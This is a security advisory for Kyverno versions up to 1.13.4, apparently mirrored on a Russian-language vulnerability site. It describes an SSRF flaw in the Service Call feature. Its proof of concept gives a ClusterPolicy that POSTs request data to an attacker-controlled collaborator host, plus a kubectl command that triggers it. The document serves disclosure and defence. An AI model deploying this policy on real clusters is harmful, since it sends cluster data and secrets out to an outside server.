GHSA-459x-q9hg-4gpq

Опубликовано: 15 апр. 2025

Источник: github

Github: Прошло ревью

CVSS4: 7.7

Описание

Kyverno vulnerable to SSRF via Service Calls

Summary

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-namespaces spec: rules: - name: call-extension match: any: - resources: kinds: - ConfigMap context: - name: result apiCall: method: POST data: - key: namespace value: "{{request.namespace}}" service: url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload validate: message: "namespace {{request.namespace}} is not allowed" deny: conditions: all: - key: "{{ result.allowed }}" operator: Equals value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs: Снимок экрана 2025-02-21 в 17 31 25

Impact

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

Ссылки

Пакеты

Наименование

github.com/kyverno/kyverno

Затронутые версииВерсия исправления

<= 1.13.4

Отсутствует

7.7 High

CVSS4

Дефекты

CWE-918

7.7 High

CVSS4

Дефекты

CWE-918